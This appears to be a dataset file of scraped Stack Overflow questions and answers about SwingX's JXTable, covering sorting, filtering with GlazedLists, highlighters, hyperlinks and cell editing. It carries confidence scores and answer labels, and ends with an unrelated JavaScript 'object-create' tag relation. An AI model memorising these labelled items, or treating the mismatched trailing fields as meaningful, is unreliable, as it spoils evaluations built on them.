of the JXTable .. . turn off JXTable s builtin sorting .. . install GlazedLists sorting features instead .. . setup the table with an EventTableModel derived from the TableFormat .. . .. . Note that you pass in two EventLists a displayItems which is the list at the end of the pipeline and a sortedList used for controlling which column is used for sorting which can be earlier in the pipeline than the displayItems list .", "I want to use the JXTable because of its other features so is there a way to fix the JXTable", "Problem .. . .. . I want the capabilities of JXTable http : download.java.net javadesktop swinglabs releases 0.8 docs api org jdesktop swingx JXTable.html with the select all on edit behavior of RXTable http : tips4java.wordpress.com 2008 10 20 table-select-all-editor .", "I d like to be able to freeze columns in JXTable just like in Excel spreadsheet and came across this project : xframe-swing s JXTable http : xframe.sourceforge.net swing jxtable.html .", "Instead consider adding the highlight only when you initialize the table.. . .. . .. . Having said that there s also no need to extend the JXTable you re not really adding any new functionality to the class .", "I will file a ticket in the swingx bug tracker and will point to this case here .", "@StanislavL Thanks but accepted answer is more concise for JXTable", "When i run this no data gets added to the jxtable .", "You can override the paintComponent method in JXTable .", "Apply the newly created AND or OR filter created to the JXTable .", "I m using Glazed Lists to sort and filter a JXTable .", "Should urgently freshen up my SwingX knowledge", "Of course filtering sorting will probably be slower because you need to process more data and store more data .", "I need some kind of code like the one is used with the JXTable . .", "Will this even have effect as it is the exact same instance as was previously set on the JXTable", "I have a JXTable where the users need to introduce data then save it .", "I m using a JXTable and I want to programmatically hide a column .", "i am trying to export data from a JXTable to a .csv file excel .", "You should be able to plug this in by using the JXTable setColumnControl method .", "i need shared the rolloverHighLighter on two JXTable so that when mouse enter on a row on first table both tables highLiht the same row .", "To fix this for me and other SwingX users I will head over to the SwingX mailing list and the bug tracker .", "I m still fairly new to Java and have a question in regards to JTable more specifically JXTable and sorting rows by column class with mixed data type.. . Let me elaborate.. .", "Don t know if it will work with JXTable but you can check out Table Column Manager https : tips4java.wordpress.com 2011 05 08 table-column-manager which was designed to work with a JTable .", "Don t forget to add the most important tags the swing http : stackoverflow.com questions tagged swing and swingx http : stackoverflow.com questions tagged swingx the latter to get kleopatra s attention our SwingX guru .", "I have created a web-crawler and then a GUI for users to search through the database etc What I would like is now for the JXTable to clickable to go to the URL .", "I m using the library swingx-0.9.2.jar .. . .. . Thanks", "SwingX supports configuring the editability on the view layer .", "hmm .. . the rowSorter shouldn t be called at all sorting and filtering is taken over completely by glazedLists .", "One of the core features of GlazedLists was to provide advanced sorting and filtering to JTables well before such features existed in Swing .", "I have a JXTable in my swing app .", "How can I update the state of the highlight after sorting a table", "JXTable Hyperlink extended Highlighter and skim through the code that comes with it", "I have a JXTable compound of 6 columns and two of them are JCheckBox .", "When I back my JXTable with a normal ArrayList it performs reasonably well .", "i have a problem during adding rows to my tablemodel for my jxtable .", "@kleopatra you have full control over the source of the JXTable class .", "Column Titles Headers doesn t show on the JXTable I have no idea why. . :", "Current JXTable http : i.stack.imgur.com sxz9U.png .. . .. . I want the horizontal gridline to be thicker .", "I have a JXTable set up to paint the selected cell in a certain color .", "I am using a JXTable to display filter and sort some data .", "Provide your own comparator of the JXTable row sorter implementation.. .", "Have you tried adding a custom focus listener to JXTable", "While debugging the JXTable and the JTable I found the reason for the loss of CellEdits .", "no listeners involved SwingX has a HyperlinkProvider that you simply configure with an action as needed : .. . .. . Note that the column needs to be not-editable to auto-support hyperlinks .", "@ktulinho you might consider contributing Russian or other not yet available properties to our ever-open issue swingx-518 http : java.net jira browse SWINGX-518", "This means I have to rewrite my table sorter sorting on a non-visible column .", "As I understood in SwingX this method should be passed an instance of DefaultTableRenderer .", "In Swing I was doing .. . .. . What should I do in SwingX", "It seems that changes from the JDK were not applied to the SwingX sourcecode .", "I Have a JTable or a JXTable to be more precise with 3 sections of grouped columns I want to divide .", "Doing a simple override would be fine but the double click function of the RXTable doesn t work with JXTable .", "How can I get JXTable to select all on F2 or double click edit", "worksforme - subclassing JXTable and overriding adding the methods as in RXTable has same behaviour as doing the same with core JTable", "When I click Refresh button I want the JXTable to be refreshed to display the newly inserted records .", "And also when I click Add new Row button a new row must be added to JXTable .", "What I would expect is that I can set an observable RowFilter on the JXTable and that I have to do nothing ." ] }
{ "confidence": [ 60.157958984375, 56.16900634765625, 50.644081115722656, 46.949546813964844, 45.88426208496094, 45.068748474121094, 44.99732971191406, 43.31171417236328, 40.66022491455078, 39.651092529296875, 39.51403045654297, 39.17877197265625, 38.902313232421875, 38.888526916503906, 38.717063903808594, 38.524871826171875, 37.912559509277344, 37.5045051574707, 37.10382843017578, 37.02702713012695 ], "content": [ "Question : I want to create user views tables with sorting and filtering capabilities . I use EventList Glazed Lists http : www.glazedlists.com as source for EventTableModel . There are also Sorted List and some filtering items in GlazedLists so I can use them for creating view . But I found JXTable and it has methods for sorting and filtering and this how I want it to work : sorting and filtering must provide UI component and model just can hold data : .. . .. . But GlazedLists also provide SortedList decorator for EventList with Sorting and some filtering methods . And the question is : what model is better . Or maybe both are wrong and what do use for creating views Comment : not overly familiar with GlazedLists so cant say anything to that aspect . Just a note to ui sorting filtering : since jdk6 core supports sorting filtering on JTable SwingX since version 1.6 uses the same mechanism just better : - Comment : thanks . Glazed lists has good implementation of list that fire events when element added or removed . So if you create EventList then DefaultEventTableModel based on list and then set this model for JTable then element added in list automaticaly appears in table . .. . Answer : I vote for GlazedLists because it works . Yes the TableModel that you use with the table is tightly coupled to the view but you decouple that table model from your source data . GlazedLists sorting and filtering features are much more flexible than the one on JXTable . Just make sure you don t have them both turned on or things will get confusing . Here s my usual code snippet for using a SortedList with a JXTable : .. . .. . What this does : .. . .. . turn on the column picker gadget on the upper right of the JXTable .. . turn off JXTable s builtin sorting .. . install GlazedLists sorting features instead .. . setup the table with an EventTableModel derived from the TableFormat .. . .. . Note that you pass in two EventLists a displayItems which is the list at the end of the pipeline and a sortedList used for controlling which column is used for sorting which can be earlier in the pipeline than the displayItems list . If your last element is the sortedList without any processing after that just pass the list in twice .", "Question : I want to create user views tables with sorting and filtering capabilities . I use EventList Glazed Lists http : www.glazedlists.com as source for EventTableModel . There are also Sorted List and some filtering items in GlazedLists so I can use them for creating view . But I found JXTable and it has methods for sorting and filtering and this how I want it to work : sorting and filtering must provide UI component and model just can hold data : .. . .. . But GlazedLists also provide SortedList decorator for EventList with Sorting and some filtering methods . And the question is : what model is better . Or maybe both are wrong and what do use for creating views Comment : not overly familiar with GlazedLists so cant say anything to that aspect . Just a note to ui sorting filtering : since jdk6 core supports sorting filtering on JTable SwingX since version 1.6 uses the same mechanism just better : - Comment : thanks . Glazed lists has good implementation of list that fire events when element added or removed . So if you create EventList then DefaultEventTableModel based on list and then set this model for JTable then element added in list automaticaly appears in table . .. . Answer : In case you use the DefaultEventTableModel everthing is ok . As the model registers sorters on the EventList source . It s done internally as in your 2nd listing . In case you register the sorters manually then you have to implement all the code in order to change the comparator e.g . asc desc . When trying to use filtering its the same but the JXTable imho doesn t support a mechanism for this so you have to do this in your own way .", "Question : I m using a JXTable that contains a search functionality when I press CTRL+F . If I have my locale defined to English or French the default text of this search window is automatically translated to the active locale . If however I change it to any of the following languages Arabic Russian or Greek the search window component s text defaults to English . Is there a way to define my own translation for this component or any other SwingX component by putting my own properties file in the classpath .. . Answer : Open the swingx jar file look for the properties file holding the values you want to translate and create your own file with the appropriate locale extension . For example Comment : @ktulinho you might consider contributing Russian or other not yet available properties to our ever-open issue swingx-518 http : java.net jira browse SWINGX-518 Comment : @JB Nizet Thanks Works like a charm : I was having trouble finding the .properties files .", "Question : I Have a JTable or a JXTable to be more precise with 3 sections of grouped columns I want to divide . I used to have 3 tables which i programmatically linked the scrollbar position the sorting the selection . I used a lot of code to get this linked and I want to get rid of this . Now I Am switching to 1 JXTable because there are some things a lot nicer in this table class . I found some not very satisfying solutions to almost the same problem . Maybe some one has a good suggestion for me . Option 1 : an empty column as a divider another color like gray and programatically hop over this empty column when using the arrows or tab keys . option 2 : setting the margin for just 1 side of 1 column to a larger size so it seems like a divider . Untill now I have only found out how to set the margins for all columns .. . .. . option 3 : getting back to 3 seperate tables again especially to get the tables sorted in the same way is a lot of work because I do not want to repeat the columns in the seperate sections . This means I have to rewrite my table sorter sorting on a non-visible column . any suggestion is welcome also if it s none of the three given options Comment : I found already these discussions : stackoverflow.com questions 2800947 freeze-columns-in-jxtable http : stackoverflow.com questions 2800947 freeze-columns-in-jxtable and stackoverflow.com questions 2614457 http : stackoverflow.com questions 2614457 using-an-empty-column-as-a-divider-in-a-jtable option 1 Comment : For your option 2 you can use the JTable prepareRenderer to alter the component for a specific row column and for example add an empty border around a specific side of the component . Comment : @Robin : thanks for the comment and suggestion . Dave answered approx . the same but I like his answer better because of the code and example screenshot . Comment : @Robin - wrong for JXTable as you know - SwingX way to apply visual decorations are Higlighters Comment : @kleopatra Indeed . I almost forgot about those . Should urgently freshen up my SwingX knowledge .. . Answer : I ve made something that looks somewhat like what you re going for by overriding the cell renderer on the 3rd column to have a thick right border and no other borders . You could do the same within the table column header to have the border extend up through there . It s clearly placing the border within the cell but this may be sufficient for you . .. . .. . Example http : i.stack.imgur.com HiXR0.png Comment : Thank you for the example even with screenshot This could do the trick.. . already voting you up before I select this as The answer I want to wait for more other suggestions.. . and try this out.. . Comment : I have played a bit with it and this is exactly the thing I needed using the same trick on the header is also a good suggestion Comment : Glad it worked out for you . Comment : for a JXTable never-ever subclass DefaultTableCellRenderer . Instead implement a Highlighter doing the decoration Comment : @kleopatra : any exmaple of how to do this just 1 border I mean", "Question : I d like to be able to freeze columns in JXTable just like in Excel spreadsheet and came across this project : xframe-swing s JXTable http : xframe.sourceforge.net swing jxtable.html . Just wondering if there is a tutorial for this project . Note that this is not the same as JXTable in swingx project . Or perhaps there is another way .. . Answer : Maybe the Fixed Column Table http : tips4java.wordpress.com 2008 11 05 fixed-column-table will do what you want . Comment : Thanks camickr I ll give this one a try . It looks promising .", "Question : I m using a JXTable and I want to programmatically hide a column . Is there any convenient methode to do this without setting miniman maximal preferd width Thanks . Comment : why-o-why do I have to write extensive api doc if nobody reads it anyway - .. . Answer : Get the TableColumnExt http : download.java.net javadesktop swinglabs releases 0.8 docs api org jdesktop swingx table TableColumnExt.html for the relevant column from the JXTable http : download.java.net javadesktop swinglabs releases 0.8 docs api org jdesktop swingx JXTable.html and call setVisible on that .", "Question : The JXTable from the SwingX project has a method to set a RowFilter directly on the JXTable see JXTable setRowFilter . It is unclear to me what you need to do when the filter implementation is dynamic . To compare : in the JDK they introduced the RowSorter http : docs.oracle.com javase 7 docs api javax swing RowSorter.html interface in JDK1.6 and this interface allows to attach a RowSorterListener . If you have a dynamic RowSorter which can also be used for filtering you can fire an event to those listeners when the filter changes although this requires that the filter has access to the RowSorter as there is no such thing as a DynamicRowFilter or RowFilterEvent in the JDK . What I would expect is that I can set an observable RowFilter on the JXTable and that I have to do nothing . But as that seems not to be possible with the current API what is the next best thing set the filter again each time it changes . Will this even have effect as it is the exact same instance as was previously set on the JXTable abuse the table events and just fire an event that your table model has been changed which will retrigger the sorting filtering .. . do not use the setRowFilter method and create your own TableRowSorter and fall back on the JDK API . Comment : not sure I understand what you are after just : a RowFilter must be immutable so there is no such thingy as a dynamic filter . Your first option is the only way to go nothing xTable specific that s just the same semantics as in DefaultRowSorter . Comment : RowSorter http : docs.oracle.com javase 6 docs api javax swing RowSorter.html has DefaultRowSorter http : docs.oracle.com javase 6 docs api javax swing DefaultRowSorter.html and its TableRowSorter http : docs.oracle.com javase 6 docs api javax swing table TableRowSorter.html probably you need to look to the methods implemeneted in DefaultRowSorter Comment : @kleopatra Why must it be immutable I do not find such a limitation in the documentation . The use-case we have is a filter not a rowfilter which can be changed to filter out elements of a model and we have a RowFilter based on that dynamic filter to filter out those elements from the table view where the table model is based on that model Comment : might be it s not explicitly documented DefaultRowSorter simply won t work if it were mutable . And that s by design of the original developer mind : I don t agree with that design but couldn t sway him - Comment : @kleopatra What a shame . You would expect when they introduce something in JDK1.6 they think about some use-cases .. . Answer : The use-case we have is a filter not a rowfilter which can be changed to filter out elements of a model and we have a RowFilter based on that dynamic filter to filter out those elements .. . .. . Repeating my comment : the RowFilter must be immutable . That was a concious design decision back when sorting filtering was introduced into core . So the approach to implement dynamic filtering is to .. . .. . make your custom filter not a rowFilter observable .. . implement a listener to that filter which creates a new RowFilter on changes .. . set the rowFilter to the xtable in SwingX or to the DefaultRowSorter in core .. . .. . Edit .. . .. . I don t agree with that design but couldn t sway him .. . .. . should be : I didn t agree - meanwhile I m not so sure as I had been - .. . .. . The advantage of this approach is that the RowFilter is really small coin to implement and highly re-usable - just a simple predicate nothing else . That allows simple logic compounding and or of filters . No burden to notify on part of the filter no burden on part of the sorter or compound filter to listen and update itself . Then taking into account that the dynamics of the filter change often comes from user interaction and something has to listen to those user triggers anyway it s not a big deal to create a new rowFilter vs . updating an existing rowFilter . Comment : That is sort-of what we already had . It just looked very elaborate for such a simple use-case . Not the best design decision in Swing imo . Comment : Comment on your edit : it s not a big deal to create a new rowFilter vs . updating an existing rowFilter however this means that you need an external mechanism . It is the rowfilter who knows on what it results depend . It is like you always say for a table model : a good table model fires its own events and there is no need to call fireXXX from outside the model . I do not see how this is different for the filters Comment : filter model as a role And RowSorter observer again as a role Quite the contrary : a rowsorter is designed to get pushed from the outside if anything which might effect the model-view mapping is changed . Having an observable filter and make the rowsorter listen to its changes just wouldn t fit into that design .", "Question : I have a custom table model whose data I want to edit in one JXTable but view-only in a second JXTable . Can this be done without having two separate models Is there some way of overriding model.isCellEditable for the view-only table .. . Answer : SwingX supports configuring the editability on the view layer . No need to touch your model keep it editable as appropriate : Comment : I should have scanned the API more thoroughly.. . thank you", "Question : When I m using a JXTable to render and edit my data some input into the CellEditors gets lost . If I click on the Resizing-Divider of the JXTable-ColumnHeader or change the width of the JFrame the CellEditor gets terminated without commiting the value . The values are saved if I use the JTable . I want to use the JXTable because of its other features so is there a way to fix the JXTable Screenrecording http : i.stack.imgur.com QTG03.gif .. . .. . Example : Comment : Have you tried adding a custom focus listener to JXTable See the 2nd and 3rd answer on this post . stackoverflow.com questions 1652942 http : stackoverflow.com questions 1652942 can-a-jtable-save-data-whenever-a-cell-loses-focus Comment : Good idea but a FocusListener is too unreliable under different OperatingSystems . .. . Answer : While debugging the JXTable and the JTable I found the reason for the loss of CellEdits . The difference is in the method columnMarginChanged : .. . .. . JXTable : .. . .. . JTable : .. . .. . At first I thought the removeEditor method is an enhancement of the JTable .. . But then I found this OpenJDK changeset from September 2010 http : hg.openjdk.java.net jdk7 jdk7 jdk rev e753db9c4416 which fixes the bug 4330950 : Lost newly entered data in the cell when resizing column width . It seems that changes from the JDK were not applied to the SwingX sourcecode . I will accept my own answer because the reason for different behaviour is now clear . To fix this for me and other SwingX users I will head over to the SwingX mailing list and the bug tracker .", "Question : My question is how can I make the hyperlinks from a JXTable column just for one specific column to action like blank links of my default desktop web browser . I use JXTable and a DefaultTableModel also I call the data from a sqlite database . I made the research on the internet google .. . and I found a lot of information which says If I don t make a mistake : .. . .. . registering a MouseListener to JXTable .. . generate point object from MouseEvent .. . get the text via getValueAt .. . .. . Note : The column have just 1 link per cell without any text just the link . For now I have implemented this code to make an action where a cell is double clicked . Please someone can help me to implement a column hyperlinks which opening in default browser like in this example http : java-swing-tips.blogspot.ro 2009 02 hyperlink-in-jtable-cell.html but I don t know how to adapt because the data are not called from a database . EDIT 1 The code from EDIT 2 of @Kleopatra have some issues for my application . Also I made another try like the code bellow and voila - the links are there when first click is involved but don t react no browser open . @Kleopatra can you provide me more information about your suggestion because when I m trying to put that code the IDE don t recognize hyperlinkColumn . .. . Answer : no listeners involved SwingX has a HyperlinkProvider that you simply configure with an action as needed : .. . .. . Note that the column needs to be not-editable to auto-support hyperlinks . Edit 2 .. . .. . If you want to open the browser mail client then use a HyerlinkProvider configured with a SwingX HyperlinkAction . This is backed by core DesktopAction . Its target must be of type URI then it auto-detects whether to open the one or other . You can manually install it per-column : .. . .. . In fact it s even simpler : JXTable already has it as default for URI class . All you have to do is to implement your model such that it contains uris and reports that as its column class : .. . .. . For seeing that support in action - it s the same for JXList JXTree - run the SwingLabs web demo http : swinglabs-demos.java.net demos swingxset6 swingxset.jnlp : examples are on several pages f.i . JXTable Hyperlink extended Highlighter and skim through the code that comes with it Comment : AncientSwingTeam is a class of what and also the LOG . Can you provide me more information . I do this in IDE NB . Thanks in advance . Thanks for your time Comment : here goes what you want to do on activating the hyperlink And how can I make the column cells to be clickable to that link which is in the cell Comment : nothing - it is clickable : - Comment : I got this exception java.lang.ArrayIndexOutOfBoundsException : 0 0 and if judge right the problem is from table model because I do not populate model just the visual table Again I want to specify that my jxtable is populated from database by a sql query . Thanks for your time . How can I make it work Comment : Something wrong with your code of course : - It s impossible to populate just the visual table not the model the data is in the model always . No offense meant - but to me it looks like you need to learn some basics not only of Swing but basic java language as well .", "Question : I have a JXTable with custom table model . I added 2 ColorHighlighter s with custom HighlightPredicate s . Problem is when i click on the column header the table sorts the rows BUT the highlighter s remain as for the old view . How can I update the state of the highlight after sorting a table Comment : have convert view index to model model int modelRow convertRowIndexToModel row maybe works maybe not depends of SwingX version Comment : there are a few another issues better could be post an SSCCE http : sscce.org short runnable compilable for potentials answerers and future readers too Comment : Thank you I will add a simple example later today . Comment : show the predicate you are using to control the highlighter .. . Answer : As @kleopatra mentioned i looked at my predicate : .. . .. . and used @mKorbel idea : .. . .. . was : .. . .. . is now : .. . .. . And it works now . StanTableModel is my custom table model . It has getRow function and returns a StanTableRow object which in turn has isSpakowany function . Comment : glad you found the problem : - Consider to change the code snippet with the correctly working line that is the one with the converted rowIndex otherwise it s a tad confusing . Comment : @kleopatra is there another way meaning HighlightPredicate and with getTableModel couldn t be fragile", "Question : null .. . Answer : i need shared the rolloverHighLighter on two JXTable so that when mouse enter on a row on first table both tables highLiht the same row . I shared the ListSelectionModel but only works when clik on a row . I need shared the rolloverEfect how can i do Sorry for my English .. . .. . I have a identitytable from http : www.vizitsolutions.com portfolio customswing this is a table with fixed column through two tables with the same TableModel but the fisrt table only have a fixed columns and the main tables have the other colums . I modified the class to work with JXTables but i can t shared the rolloverEffect to it looks like it a single table . Comment : What did you try Comment : I think you can try to use MouseListener http : docs.oracle.com javase tutorial uiswing events mouselistener.html for that override mouseEntered and mouseExited for determine which row you must to highlight . Comment : please show a SSCCE that demonstrates what you have tried and how it doesn t work as expected - basically you have a listen to propertyChanges of rollover in both tables and b a custom HighlightPredicate that highlights both Comment : Thanks @kleopatra but i don t know how highlights both with the predicate i need two component adapters can you show me an example", "Question : I m using Glazed Lists to sort and filter a JXTable . How can I sort on out-of-table values That is I would like to be able to format column values in my own way yet sort on raw values . My current relevant code : .. . .. . In this example I would like to format the value in the second column as 5.0M rather than 5000000 but if I use this value in the list it won t sort properly . Thanks in advance . .. . Answer : Maybe you have to disable the JXTable Sorting so it does not interfere with the GL sorting Something like : .. . .. . .. . and then install GlazedLists TableComparatorChooser on the table like : .. . .. . Or do you mean you want to format 5000000 as 5.0M in the table not in the List Then you would only have to implement your TableFormat s .. . .. . to return the 5.0M representation of 5000000 . .. . could well be that I did not fully understand the problem and these answers are not helping - .. . .. . EDIT : Runnable example.. . .. . .. . Look at the code in the main method - especially the code with the START-END comment . I made my own very simple example but you should understand what I mean . Oh.. . sorry for the naming of classes variables .. . - Comment : Thanks for the response Kai . It is the second option that I am trying to achieve . I have tried getColumnValue Object baseObject int column to format the value as 5.0M but then it won t sort properly since I m formatting 5.0M as a string . So it seems to sort based on getColumnValue Object baseObject int column rather than the initial list . Comment : Did you try to switch of the sorting mechanism of the JXTable and then install the sorting mechanism of Glazed lists TableComparatorChooser It could be that on clicking the table header you start the JXTable sorting instead of the GlazedLists sorting.. . Comment : Thanks very much Kai for this very complete answer . The problem was that I wasn t calling comparators.clear before adding my comparator . It wasn t possible to determine this from my original question so well done : - Hopefully others will find your answer in the future . Thanks again .", "Question : null .. . Answer : As my title says . My program gathers data from a database and passes them to the table . database rows goes into Object data then column names on String coltitle .. . .. . then my the table model goes .. . .. . Then when I set the JXTable s model it doesn t work . either .. . .. . or Comment : I think I have this resolved . org.jdesktop.swingx.JXTable table new org.jdesktop.swingx.JXTable data colstitle works properly my mistake was I forgot to set the size of the table on the frame . XD honest mistake . Comment : Glad you ve got it fixed and thanks for letting us know . You will probably want to read the FAQ s for this site on how to format posted code for your future posts on this site . Comment : @HovercraftFullOfEels Will look into it Anyways I got a new problem . Column Titles Headers doesn t show on the JXTable I have no idea why. . : Comment : you will want to create a new question for this . Don t forget to add the most important tags the swing http : stackoverflow.com questions tagged swing and swingx http : stackoverflow.com questions tagged swingx the latter to get kleopatra s attention our SwingX guru . Comment : Edit : I m reading your first comment and am worried . There is no need to set the size of any component . Surely you re using proper layout managers right If not you will want to read the layout-manager tutorial soon else your program will be quite hamstrung .", "Question : I have a JXTable where the users need to introduce data then save it . Only the thing is the user has to deselect the last edited cell before saving it . If they don t the data of that cell isn t saved . The only thing I thought of is to change the current selection automatically just before saving . This is what i tried : .. . .. . OR .. . .. . None of both seem to work yet these are the only two methods I found to do this . Can anyone please tell me how to do this properly or propose an alternative to also let it save the data from that last cell Comment : a is the behaviour different from core jtable b exactly how s the save implemented click a button menuitem key binding Comment : Also see this solution http : stackoverflow.com a 3562764 1076463 .. . Answer : I am assuming the user clicks on another component JButton http : docs.oracle.com javase 6 docs api javax swing JButton.html when he wishes to save data . If you have a reference to the JXTable http : download.java.net javadesktop swinglabs releases 0.8 docs api org jdesktop swingx JXTable.html when that event happens you could add the following piece of code there : .. . .. . The stopCellEditing http : docs.oracle.com javase 6 docs api javax swing JTable.html getCellEditor 28 29 should save the state of the model and allow you to save all the contents including the currently selected edited cell . .. . .. . EDIT : As kleopatra http : stackoverflow.com users 203657 kleopatra pointed out the default and better way to handle this is through the client property of JTable component : .. . .. . For JXTable this should already be set though which indicates that the way your UI handling of the save functionality works does not include moving the focus away from the table . So in essence you d be better off changing the focus when your save event is being fired . Comment : not always needed : as long as the button is focusable the thingy to do is set the table s terminatesEditOnFocusLost client property to true . Which is default in jxTable so probably the button in question isn t focusable - and your solution indeed is an option : - Comment : Thanks good point . I ve edited the answer to point out that the better way would be to properly switch the focus away from the JXTable . Comment : Thank you so much Herminator The following code works like a charm if table.isEditing table.getCellEditor .stopCellEditing The terminateEditOnFocusLost didn t change anything but thanks for the help With the code I used the selection DID move to where I pointed it but the data in the last edited cell wasn t saved . But with the above mentioned code this problem is solved . Thanks again Comment : @Xaviraan : beware and repeating myself - - if this helps it s worth trying to find out why it is needed . It should work without in most contexts so there might or not be a bug somewhere in your code or in the framework code that s covered vs . solved by explicitly terminating .", "Question : Good aftermoon . I am having a interesting issue with the propeties of a JXtable . The thing is that I have created the JXTable with too many columns so I decided to let the user choose which column to display using the ColumnControlButton that comes by default with the JXTable in the SwingX library . As I have too many columns when I press the ColumnControl button it doesn t show me all the columns that can be hided displayed . The default ColumnControl doesn t comes with a scrollable property to manage this cases . I need some kind of code like the one is used with the JXTable . . I don t know maybe something like .setHorizontalScrollEnabled true so I can see all the columns in the ColumnControl . I appreciate in advance your answer guys.. . .. . .. . By the way heres the code that loads the table : Comment : Don t know if it will work with JXTable but you can check out Table Column Manager https : tips4java.wordpress.com 2011 05 08 table-column-manager which was designed to work with a JTable . Comment : It does work with the JXTable but it doesn t add a vertical scroll bar to the pop-up so it doesn t let me see all the columns . Thanks for your response anyways . .. . Answer : You should be able to use the Table Column Manager https : tips4java.wordpress.com 2011 05 08 table-column-manager which was designed to be used with a JTable . It will display a menu of all the columns with a JCheckBoxMenuItem so you can choose which columns to display . but it doesn t add a vertical scroll bar to the pop-up so it doesn t let me see all the columns .. . .. . When you have that many menu items you might then want to use the Menu Scroller https : tips4java.wordpress.com 2009 02 01 menu-scroller . This will allow you control how many menu items are displayed at one time and will then add up down buttons to scroll through the remaining menu items . In the showPopup .. . method from the TableColumnManager class I added the following line of code : .. . .. . to display 10 menu items at one time . Hoevering the mouse over the arrows will cause the menu to scroll . Comment : wow thank you so much camickr the MenuScroller works amazing Thanks again", "Question : null .. . Answer : I ve read that the JXTable has a built-in support to search the table in combination with JXSearchPanel or JXSearchField . Wehre can I find some examples or code-snippets to see how it works By the way : is there any possibility to disable the visibility of Combobox and checkbox in the JXSearchPanel many Thanks", "Question : The issue I have was hard to reproduce but I hope someone here can give me a hint on how to solve this . I ve written a ComponentProvider JLabel that takes a String value an creates an clickable cell decorated with a icon if the String contains a URL . If no URL is found in the String value then no icon is set for the label and the cell shouldn t be clickable . Here s the code : .. . .. . It looks like this : .. . .. . enter image description here http : i.stack.imgur.com 6qow9.png .. . .. . The first cell should be clickable to follow the link that was in the string value and has been removed from the display text . The second cell didn t contain a link in the text and therefore shouldn t be clickable . However in this case both cells aren t clickable and if I store the string value and print it out to the console from the isEnabled method I see that always the text from the second cell is printed regardless if i hover over the first or the second cell . This is the only situation I noticed this behavior . I know that the one Provider instance is reused for every cell containing this type but for some reason the RolloverRenderer doesn t seem to reconfigure this Provider properly in this case . Am I doing something wrong here Comment : hmm .. . apart from not using the recommended on much doc on it my fault I know : - methods and thus violating the contract it should at least work . Maybe the column is editable If it is editable the rollover is never clickable . Comment : after a bit of playing : you might have hit an issue here - all our examples are clickable always . Basically it s brittle to keep cell related state in the provider as it might be called often and for other cells . The api of RolloverRenderer is not really rich enough : the mechanism relies on the renderer being configured just before a click happens so that the old state still lingers not good enough for your use-case : - You might consider filing a bug report in the swingx issue tracker so we don t forget looking into it . Thanks . .. . Answer : After a bit of playing : you might have hit an issue here - all our examples are clickable always . Basically it s brittle to keep cell related state in the provider as it might be called often and for other cells . The api of RolloverRenderer is not really rich enough : the mechanism relies on the renderer being configured just before a click happens so that the old state still lingers not good enough for your use-case : - You might consider filing a bug report in the swingx issue tracker so we don t forget looking into it . Thanks . Snippet to play with basically demonstrating which methods to override in a custom provider but not solving the problem at hand - except with a user-unfriendly kludge to have the rollover enabled always .. . : Comment : Thanks a lot for the analysis . I will file a ticket in the swingx bug tracker and will point to this case here . In the meantime I prefer to keep the conditional enabling as it worked well in most cases and the situation where the cells contain urls are rare . Comment : Here s the link-to the Swingx bug ticket : SWINGX-1511 http : java.net jira browse SWINGX-1511 Comment : thanks for filing the bug : - Glad you can live with it for now . Though I would suggest you change your implementation to follow the overall outline of my example : a componentProvider must be consistent in its string representation exact same for rendering and in getString value", "Question : Updated .. . .. . I have updated this question to more accurately describe the cause of my problem and have included a simpler example that the one I originally used . I ve included a simple example below to show the performance issue I m having . When I back my JXTable with a normal ArrayList it performs reasonably well . However if I switch the ArrayList for an EventList and build the table using an EventTableModel the sorting is much slower 10x slower in this case . If using Maven or Gradle here are the artifact coordinates I m using . And here is the example . The only reason I was trying to use an EventList is because I wanted a data structure that I could modify outside of the TableModel and have the necessary notification occur . I also noticed the table backed by the EventTableModel is sorting based on string values rather than numeric values but I m not sure why . Here are a couple of screenshots from the profiler with a million rows being sorted . First Table http : i.stack.imgur.com 1dDmQ.png .. . .. . Second Table http : i.stack.imgur.com EtOMA.png .. . .. . Any ideas Comment : hmm .. . the rowSorter shouldn t be called at all sorting and filtering is taken over completely by glazedLists . Try to setAutoCreateRowSorter to false best before setting the model . Curious : what s the reason for subclassing ComponentProvider instead of configuring it with a configured FormattedStringValue and alignment Comment : @kleopatra setAutoCreateRowSorter false didn t help but I ve figured this out . I was subclassing ComponentProvider to add some prinln statements while debugging . I ll be updating the question and posting an answer shortly . Your answers across many different sites have helped me on several occasions so thank you . .. . Answer : The problem I was having with this was a combination of the way SwingX s TableRowSorterModelWrapper works with GlazedLists TableFormat . When using GlazedLists TableFormat the class types are not supplied for table columns . When the class type is not provided JXTable will end up sorting the column based on string values which are supplied by a ComponentProvider . If the ComponentProvider is constructed with a FormatStringValue converter every item in the column will be formatted prior to being used for comparison during a sort . The actual call to the ComponentProvider happens in the TableRowSorterModelWrapper . In my case-when I added the custom-renderer I replaced the default ComponentProvider with a LabelProvider that was using a FormatStringValue that was using the formatter returned from NumberFormat.getCurrencyInstance . The reason the table using my SimpleTableModel didn t suffer from the same performance problems was because it supplied column class types . Since BigDecimal implements Comparable sort operations didn t require a call to the ComponentProvider to get a possibly formatted string value . The solution is very simple use GlazedLists AdvancedTableFormat instead of TableFormat and supply the class types for each table column . The following will work with the example in my question . Comment : +1 excellent trackdown : -", "Question : null .. . Answer : I am building a Swing UI for analysis data dealing with potentially hundreds of thousands of rows only a handful of columns and I would like to use a JXTable for visualization with filtering and sorting . Is there a rule of thumb up to what size this is feasible on a fast computer provided I don t make mistakes when building model renderer filter sorter classes Comment : Try it . Just create a loop that loads a bunch of rows and see what happens . The reason a JTable uses renderers is so that the amount of data really doesn t matter because you only display a screen full of data at a time . Of course filtering sorting will probably be slower because you need to process more data and store more data . Comment : In addition to camickr s comment : do really want to show hundreds of thousands of rows to the user Maybe pagination would be useful . Comment : So far it looks good enough performance-wise haven t tried filtering yet . Regarding pagination I have thought about that but I don t know of an out-of-the box solution and was reluctant to hacking it together ." ] }
[ "yes-answer-long", "yes-answer-short" ]
java
UNK_RELATION
object-create@new-operator@49
object-create -- an alternative to javascript s @placeholder added in ecmascript-5 and championed by douglas crockford .
